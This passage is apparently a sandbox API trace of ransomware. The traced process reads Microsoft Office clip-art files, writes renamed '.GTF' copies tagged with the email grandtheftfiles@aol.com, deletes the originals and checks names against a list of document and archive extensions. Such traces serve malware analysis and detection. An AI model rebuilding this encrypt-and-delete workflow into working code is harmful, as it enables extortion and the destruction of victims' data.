	[0162.569] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x3ee8, lpOverlapped=0x0) returned 1
	[0162.947] WriteFile (in: hFile=0x530, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x3ef0, lpOverlapped=0x0) returned 1
	[0162.948] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.948] WriteFile (in: hFile=0x530, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.948] SetEndOfFile (hFile=0x530) returned 1
	[0162.948] CloseHandle (hObject=0x530) returned 1
	[0162.948] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.949] SetEndOfFile (hFile=0x504) returned 1
	[0162.951] CloseHandle (hObject=0x504) returned 1
	[0162.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1
	[0162.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0162.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0162.952] lstrlenW (lpString=".doc") returned 4
	[0162.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.952] lstrlenW (lpString=".docx") returned 5
	[0162.952] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0162.952] lstrlenW (lpString=".pdf") returned 4
	[0162.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.952] lstrlenW (lpString=".xls") returned 4
	[0162.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.952] lstrlenW (lpString=".xlsx") returned 5
	[0162.952] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0162.952] lstrlenW (lpString=".ppt") returned 4
	[0162.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0162.952] lstrlenW (lpString=".zip") returned 4
	[0162.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.952] lstrlenW (lpString=".rar") returned 4
	[0162.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.953] lstrlenW (lpString=".bz2") returned 4
	[0162.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.953] lstrlenW (lpString=".7z") returned 3
	[0162.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0162.953] lstrlenW (lpString=".dbf") returned 4
	[0162.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0162.953] lstrlenW (lpString=".1cd") returned 4
	[0162.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0162.953] lstrlenW (lpString=".jpg") returned 4
	[0162.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0162.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0162.953] lstrlenW (lpString=".doc") returned 4
	[0162.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.953] lstrlenW (lpString=".docx") returned 5
	[0162.953] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0162.953] lstrlenW (lpString=".pdf") returned 4
	[0162.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.953] lstrlenW (lpString=".xls") returned 4
	[0162.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.953] lstrlenW (lpString=".xlsx") returned 5
	[0162.953] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0162.953] lstrlenW (lpString=".ppt") returned 4
	[0162.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0162.953] lstrlenW (lpString=".zip") returned 4
	[0162.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.953] lstrlenW (lpString=".rar") returned 4
	[0162.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.953] lstrlenW (lpString=".bz2") returned 4
	[0162.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.953] lstrlenW (lpString=".7z") returned 3
	[0162.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0162.954] lstrlenW (lpString=".dbf") returned 4
	[0162.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0162.954] lstrlenW (lpString=".1cd") returned 4
	[0162.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0162.954] lstrlenW (lpString=".jpg") returned 4
	[0162.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.954] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.954] lstrlenW (lpString="J0105244.WMF") returned 12
	[0162.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.954] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=11228) returned 1
	[0162.954] CloseHandle (hObject=0x504) returned 1
	[0162.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220
	[0162.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.955] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.955] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0162.956] GetLastError () returned 0x0
	[0162.956] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x2bdc, lpOverlapped=0x0) returned 1
	[0162.958] WriteFile (in: hFile=0x530, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0162.959] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.959] WriteFile (in: hFile=0x530, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.959] SetEndOfFile (hFile=0x530) returned 1
	[0162.959] CloseHandle (hObject=0x530) returned 1
	[0162.959] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.959] SetEndOfFile (hFile=0x504) returned 1
	[0162.962] CloseHandle (hObject=0x504) returned 1
	[0162.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1
	[0162.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0162.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0162.963] lstrlenW (lpString=".doc") returned 4
	[0162.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.963] lstrlenW (lpString=".docx") returned 5
	[0162.963] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0162.963] lstrlenW (lpString=".pdf") returned 4
	[0162.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.963] lstrlenW (lpString=".xls") returned 4
	[0162.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.963] lstrlenW (lpString=".xlsx") returned 5
	[0162.963] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0162.963] lstrlenW (lpString=".ppt") returned 4
	[0162.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0162.963] lstrlenW (lpString=".zip") returned 4
	[0162.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.964] lstrlenW (lpString=".rar") returned 4
	[0162.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.964] lstrlenW (lpString=".bz2") returned 4
	[0162.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.964] lstrlenW (lpString=".7z") returned 3
	[0162.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0162.964] lstrlenW (lpString=".dbf") returned 4
	[0162.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0162.964] lstrlenW (lpString=".1cd") returned 4
	[0162.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0162.964] lstrlenW (lpString=".jpg") returned 4
	[0162.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0162.964] lstrlenW (lpString=".doc") returned 4
	[0162.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.964] lstrlenW (lpString=".docx") returned 5
	[0162.964] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0162.964] lstrlenW (lpString=".pdf") returned 4
	[0162.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.964] lstrlenW (lpString=".xls") returned 4
	[0162.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.964] lstrlenW (lpString=".xlsx") returned 5
	[0162.964] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0162.964] lstrlenW (lpString=".ppt") returned 4
	[0162.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0162.964] lstrlenW (lpString=".zip") returned 4
	[0162.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.964] lstrlenW (lpString=".rar") returned 4
	[0162.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.964] lstrlenW (lpString=".bz2") returned 4
	[0162.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.965] lstrlenW (lpString=".7z") returned 3
	[0162.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0162.965] lstrlenW (lpString=".dbf") returned 4
	[0162.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0162.965] lstrlenW (lpString=".1cd") returned 4
	[0162.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0162.965] lstrlenW (lpString=".jpg") returned 4
	[0162.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.965] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.965] lstrlenW (lpString="J0105246.WMF") returned 12
	[0162.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.965] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=19328) returned 1
	[0162.966] CloseHandle (hObject=0x504) returned 1
	[0162.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220
	[0162.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.966] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.966] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0162.967] GetLastError () returned 0x0
	[0162.967] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x4b80, lpOverlapped=0x0) returned 1
	[0162.969] WriteFile (in: hFile=0x530, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x4b90, lpOverlapped=0x0) returned 1
	[0162.970] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.970] WriteFile (in: hFile=0x530, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.970] SetEndOfFile (hFile=0x530) returned 1
	[0162.970] CloseHandle (hObject=0x530) returned 1
	[0162.970] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.970] SetEndOfFile (hFile=0x504) returned 1
	[0162.973] CloseHandle (hObject=0x504) returned 1
	[0162.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1
	[0162.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0162.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0162.974] lstrlenW (lpString=".doc") returned 4
	[0162.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.974] lstrlenW (lpString=".docx") returned 5
	[0162.974] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0162.974] lstrlenW (lpString=".pdf") returned 4
	[0162.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.974] lstrlenW (lpString=".xls") returned 4
	[0162.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.974] lstrlenW (lpString=".xlsx") returned 5
	[0162.974] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0162.974] lstrlenW (lpString=".ppt") returned 4
	[0162.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0162.974] lstrlenW (lpString=".zip") returned 4
	[0162.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.974] lstrlenW (lpString=".rar") returned 4
	[0162.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.974] lstrlenW (lpString=".bz2") returned 4
	[0162.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.975] lstrlenW (lpString=".7z") returned 3
	[0162.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0162.975] lstrlenW (lpString=".dbf") returned 4
	[0162.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0162.975] lstrlenW (lpString=".1cd") returned 4
	[0162.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0162.975] lstrlenW (lpString=".jpg") returned 4
	[0162.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0162.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0162.975] lstrlenW (lpString=".doc") returned 4
	[0162.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.975] lstrlenW (lpString=".docx") returned 5
	[0162.975] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0162.975] lstrlenW (lpString=".pdf") returned 4
	[0162.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.975] lstrlenW (lpString=".xls") returned 4
	[0162.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.975] lstrlenW (lpString=".xlsx") returned 5
	[0162.975] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0162.975] lstrlenW (lpString=".ppt") returned 4
	[0162.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0162.975] lstrlenW (lpString=".zip") returned 4
	[0162.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.975] lstrlenW (lpString=".rar") returned 4
	[0162.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.975] lstrlenW (lpString=".bz2") returned 4
	[0162.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.975] lstrlenW (lpString=".7z") returned 3
	[0162.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0162.976] lstrlenW (lpString=".dbf") returned 4
	[0162.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0162.976] lstrlenW (lpString=".1cd") returned 4
	[0162.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0162.976] lstrlenW (lpString=".jpg") returned 4
	[0162.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.976] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.976] lstrlenW (lpString="J0105250.WMF") returned 12
	[0162.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.977] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=4628) returned 1
	[0162.977] CloseHandle (hObject=0x504) returned 1
	[0162.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220
	[0162.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.978] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.978] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0162.978] GetLastError () returned 0x0
